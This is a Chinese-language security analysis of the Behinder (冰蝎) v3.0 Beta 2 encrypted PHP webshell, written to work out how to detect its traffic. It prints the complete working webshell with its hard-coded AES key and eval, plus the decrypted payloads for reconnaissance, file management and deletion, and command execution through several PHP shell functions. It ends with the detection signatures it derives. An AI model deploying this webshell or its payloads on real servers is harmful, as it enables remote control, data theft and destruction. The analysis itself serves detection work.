最近特殊时期开始的第一天(20200817),冰蝎的github项目就放出了加密Webshell管理的神器——冰蝎v3.0 Beta 1和2,给检测带来了更大的困难,普通的匹配字符串特征的检测已几乎不可能,下面简单分析一下。
这次最大的变化是去除了动态密钥协商机制,采用预共享密钥,全程无明文交互,密码的md5的前16位就是密钥
注:本文只针对当前的最新版冰蝎(Behinder) v3.0 Beta 2,并以PHP WebShell为例,其他的asp,jsp的也是类似的
控制端:win10 + Behinder_v3.0 Beta 2 服务端:Ubuntu 16.04 + Apache + PHP 7.0.33
<?php
@error_reporting(0);
session_start();
if ($_SERVER['REQUEST_METHOD'] === 'POST')
{
$key="e45e329feb5d925b";
$_SESSION['k']=$key;
$post=file_get_contents("php://input");
if(!extension_loaded('openssl'))
{
$t="base64_"."decode";
$post=$t($post."");
for($i=0;$i<strlen($post);$i++) {
$post[$i] = $post[$i]^$key[$i+1&15];
}
}
else
{
$post=openssl_decrypt($post, "AES128", $key);
}
$arr=explode('|',$post);
$func=$arr[0];
$params=$arr[1];
class C{public function __invoke($p) {eval($p."");}}
@call_user_func(new C(),$params);
}
?>
可以看到,相比冰蝎(Behinder) v2.0.1,去除了动态密钥协商机制,直接写死了key,一个16位的key,这个key是密码的md5得来的。—— 冰蝎(Behinder) v2.0.1的分析可以参考: https://www.giantbranch.cn/2019/10/08/%E5%86%B0%E8%9D%8E%E5%8A%A8%E6%80%81%E4%BA%8C%E8%BF%9B%E5%88%B6%E5%8A%A0%E5%AF%86WebShell%E7%9A%84%E6%A3%80%E6%B5%8B/ )
substr(md5(rebeyond)),0,16) == "e45e329feb5d925b"
所以现在的通信示意图变成下面这样,直接用预设密钥进行加密通信
通过抓取攻击流量,发现流量都是aes的加密结果
注:通过在webshell中输出传输的明文,再base64解密即可获得下面列出的代码
下面是点击打开webshell后,共执行了4个代码,后面两个是一样的,实际就算他3个吧
下面是第一个代码
@error_reporting(0);
function main($content)
{
$result = array();
$result["status"] = base64_encode("success");
$result["msg"] = base64_encode($content);
$key = $_SESSION['k'];
echo encrypt(json_encode($result),$key);
}
function encrypt($data,$key)
{
if(!extension_loaded('openssl'))
{
for($i=0;$i<strlen($data);$i++) {
$data[$i] = $data[$i]^$key[$i+1&15];
}
return $data;
}
else
{
return openssl_encrypt($data, "AES128", $key);
}
}$content="2712cbef-2652-4eee-89b7-9a19d5aa7aaf";
main($content);
可以看到传递给服务器的是一个类似UUID的字符串,之后在main中组装成数组后转为json,再使用AES进行加密(没有openssl才使用异或加密) ,最后输出出来,这一步的目的应该是看看服务器的加密结果是否与加密结果一样,这样既可以检测是否是冰蝎webshell,也可以检测webshell的密码是否正确
注意$content,即类似UUID的字符串(没意外就是UUID),是会变的,但是长度不变,也就是请求包的长度不变,加密后的结果的长度也是固定的,所以返回包的内容的长度也是固定的(php的http响应)
所以特征很明显:
1、第一个请求包的特征为 Content-Length: 1112 (这个长度是php的,jsp的是8940,aspx是7232,v3.0 Beta 2的asp版本的功能还是老版本的,所以asp版本暂无)
2、Header存在Pragma: no-cache
下面看第二个代码
error_reporting(0);
function main() {
ob_start(); phpinfo(); $info = ob_get_contents(); ob_end_clean();
$driveList ="";
if (stristr(PHP_OS,"windows")||stristr(PHP_OS,"winnt"))
{
for($i=65;$i<=90;$i++)
{
$drive=chr($i).':/';
file_exists($drive) ? $driveList=$driveList.$drive.";":'';
}
}
else
{
$driveList="/";
}
$currentPath=getcwd();
//echo "phpinfo=".$info."\n"."currentPath=".$currentPath."\n"."driveList=".$driveList;
$osInfo=PHP_OS;
$result=array("basicInfo"=>base64_encode($info),"driveList"=>base64_encode($driveList),"currentPath"=>base64_encode($currentPath),"osInfo"=>base64_encode($osInfo));
//echo json_encode($result);
session_start();
$key=$_SESSION['k'];
//echo json_encode($result);
//echo openssl_encrypt(json_encode($result), "AES128", $key);
echo encrypt(json_encode($result), $key);
}
function encrypt($data,$key)
{
if(!extension_loaded('openssl'))
{
for($i=0;$i<strlen($data);$i++) {
$data[$i] = $data[$i]^$key[$i+1&15];
}
return $data;
}
else
{
return openssl_encrypt($data, "AES128", $key);
}
}
main();
可以看到第二个代码获取了以下几个信息: 1、phpinfo的输出 2、driveList,windows就是看看有哪些磁盘,linux直接返回”/“ 3、当前的路径 4、通过环境变量PHP_OS获取系统是windows还是linux什么的
最后看下最后一个代码
error_reporting(0);
header('Content-Type: text/html; charset=UTF-8');
function getSafeStr($str){
$s1 = iconv('utf-8','gbk//IGNORE',$str);
$s0 = iconv('gbk','utf-8//IGNORE',$s1);
if($s0 == $str){
return $s0;
}else{
return iconv('gbk','utf-8//IGNORE',$str);
}
}
function getgbkStr($str){
$s0 = iconv('gbk','utf-8//IGNORE',$s1);
$s1 = iconv('utf-8','gbk//IGNORE',$str);
if($s1 == $str){
return $s1;
}else{
return iconv('utf-8','gbk//IGNORE',$str);
}
}
function delDir($dir)
{
$files = array_diff(scandir($dir), array(
'.',
'..'
));
foreach ($files as $file) {
(is_dir("$dir/$file")) ? delTree("$dir/$file") : unlink("$dir/$file");
}
return rmdir($dir);
}
function main($mode, $path = ".", $content = "", $charset = "",$newpath)
{
$path=getgbkStr($path);
$result = array();
if ($path == ".")
$path = getcwd();
switch ($mode) {
case "list":
$allFiles = scandir($path);
$objArr = array();
foreach ($allFiles as $fileName) {
$fullPath = $path . $fileName;
if (!function_exists("mb_convert_encoding"))
{
$fileName=getSafeStr($fileName);
}
else
{
$fileName=mb_convert_encoding($fileName, 'UTF-8', mb_detect_encoding($fileName, "UTF-8,GBK"));
}
$obj = array(
"name" => base64_encode($fileName),
"size" => base64_encode(filesize($fullPath)),
"lastModified" => base64_encode(date("Y-m-d H:i:s", filemtime($fullPath)))
);
$obj["perm"] = is_readable($fullPath) . "," . is_writable($fullPath) . "," . is_executable($fullPath);
if (is_file($fullPath)) {
$obj["type"] = base64_encode("file");
} else {
$obj["type"] = base64_encode("directory");
}
array_push($objArr, $obj);
}
$result["status"] = base64_encode("success");
$result["msg"] = base64_encode(json_encode($objArr));
echo encrypt(json_encode($result), $_SESSION['k']);
break;
case "show":
$contents = file_get_contents($path);
$result["status"] = base64_encode("success");
if (function_exists("mb_convert_encoding"))
{
if ($charset=="")
{
$charset = mb_detect_encoding($contents, array(
'GB2312',
'GBK',
'UTF-16',
'UCS-2',
'UTF-8',
'BIG5',
'ASCII'
));
}
$result["msg"] = base64_encode(mb_convert_encoding($contents, "UTF-8", $charset));
}
else
{
if ($charset=="")
{
$result["msg"] = base64_encode(getSafeStr($contents));
}
else
{
$result["msg"] = base64_encode(iconv($charset, 'utf-8//IGNORE', $contents));
}
}
$result = encrypt(json_encode($result),$_SESSION['k']);
echo $result;
break;
case "download":
if (! file_exists($path)) {
header('HTTP/1.1 404 NOT FOUND');
} else {
$file = fopen($path, "rb");
echo fread($file, filesize($path));
fclose($file);
}
break;
case "delete":
if (is_file($path)) {
if (unlink($path)) {
$result["status"] = base64_encode("success");
$result["msg"] = base64_encode($path . "删除成功");
} else {
$result["status"] = base64_encode("fail");
$result["msg"] = base64_encode($path . "删除失败");
}
}
if (is_dir($path)) {
delDir($path);
$result["status"] = base64_encode("success");
$result["msg"] = base64_encode($path."删除成功");
}
echo encrypt(json_encode($result),$_SESSION['k']);
break;
case "create":
$file = fopen($path, "w");
$content = base64_decode($content);
fwrite($file, $content);
fflush($file);
fclose($file);
if (file_exists($path) && filesize($path) == strlen($content)) {
$result["status"] = base64_encode("success");
$result["msg"] = base64_encode($path . "上传完成,远程文件大尿:" . $path . filesize($path));
} else {
$result["status"] = base64_encode("fail");
$result["msg"] = base64_encode($path . "上传失败");
}
echo encrypt(json_encode($result), $_SESSION['k']);
break;
case "append":
$file = fopen($path, "a+");
$content = base64_decode($content);
fwrite($file, $content);
fclose($file);
$result["status"] = base64_encode("success");
$result["msg"] = base64_encode($path . "追加完成,远程文件大尿:" . $path . filesize($path));
echo encrypt(json_encode($result),$_SESSION['k']);
break;
case "rename":
if (rename($path,$newpath)) {
$result["status"] = base64_encode("success");
$result["msg"] = base64_encode("重命名完房:" . $newpath);
} else {
$result["status"] = base64_encode("fail");
$result["msg"] = base64_encode($path . "重命名失贿");
}
echo encrypt(json_encode($result), $_SESSION['k']);
break;
default:
break;
}
}
function encrypt($data,$key)
{
if(!extension_loaded('openssl'))
{
for($i=0;$i<strlen($data);$i++) {
$data[$i] = $data[$i]^$key[$i+1&15];
}
return $data;
}
else
{
return openssl_encrypt($data, "AES128", $key);
}
}$mode="list";$path="\var\www\html\Behinder_v3.0/";
main($mode,$path);
最后这两次代码是列出当前路径的文件
可以看到这个代码有以下功能: 1、列目录 2、获取文件内容 3、下载文件 4、删除文件 5、写入文件 6、向文件追加内容 7、重命名文件
以id命令为例,可以看到跟v2.0是一样的,尝试用各种php执行命令的函数执行命令
@error_reporting(0);
function getSafeStr($str){
$s1 = iconv('utf-8','gbk//IGNORE',$str);
$s0 = iconv('gbk','utf-8//IGNORE',$s1);
if($s0 == $str){
return $s0;
}else{
return iconv('gbk','utf-8//IGNORE',$str);
}
}
function main($cmd)
{
@set_time_limit(0);
@ignore_user_abort(1);
@ini_set('max_execution_time', 0);
$result = array();
$PadtJn = @ini_get('disable_functions');
if (! empty($PadtJn)) {
$PadtJn = preg_replace('/[, ]+/', ',', $PadtJn);
$PadtJn = explode(',', $PadtJn);
$PadtJn = array_map('trim', $PadtJn);
} else {
$PadtJn = array();
}
$c = $cmd;
if (FALSE !== strpos(strtolower(PHP_OS), 'win')) {
$c = $c . " 2>&1\n";
}
$JueQDBH = 'is_callable';
$Bvce = 'in_array';
if ($JueQDBH('system') and ! $Bvce('system', $PadtJn)) {
ob_start();
system($c);
$kWJW = ob_get_contents();
ob_end_clean();
} else if ($JueQDBH('proc_open') and ! $Bvce('proc_open', $PadtJn)) {
$handle = proc_open($c, array(
array(
'pipe',
'r'
),
array(
'pipe',
'w'
),
array(
'pipe',
'w'
)
), $pipes);
$kWJW = NULL;
while (! feof($pipes[1])) {
$kWJW .= fread($pipes[1], 1024);
}
@proc_close($handle);
} else if ($JueQDBH('passthru') and ! $Bvce('passthru', $PadtJn)) {
ob_start();
passthru($c);
$kWJW = ob_get_contents();
ob_end_clean();
} else if ($JueQDBH('shell_exec') and ! $Bvce('shell_exec', $PadtJn)) {
$kWJW = shell_exec($c);
} else if ($JueQDBH('exec') and ! $Bvce('exec', $PadtJn)) {
$kWJW = array();
exec($c, $kWJW);
$kWJW = join(chr(10), $kWJW) . chr(10);
} else if ($JueQDBH('exec') and ! $Bvce('popen', $PadtJn)) {
$fp = popen($c, 'r');
$kWJW = NULL;
if (is_resource($fp)) {
while (! feof($fp)) {
$kWJW .= fread($fp, 1024);
}
}
@pclose($fp);
} else {
$kWJW = 0;
$result["status"] = base64_encode("fail");
$result["msg"] = base64_encode("none of proc_open/passthru/shell_exec/exec/exec is available");
$key = $_SESSION['k'];
echo encrypt(json_encode($result), $key);
return;
}
$result["status"] = base64_encode("success");
$result["msg"] = base64_encode(getSafeStr($kWJW));
echo encrypt(json_encode($result), $_SESSION['k']);
}
function encrypt($data,$key)
{
if(!extension_loaded('openssl'))
{
for($i=0;$i<strlen($data);$i++) {
$data[$i] = $data[$i]^$key[$i+1&15];
}
return $data;
}
else
{
return openssl_encrypt($data, "AES128", $key);
}
}$cmd="id";
main($cmd);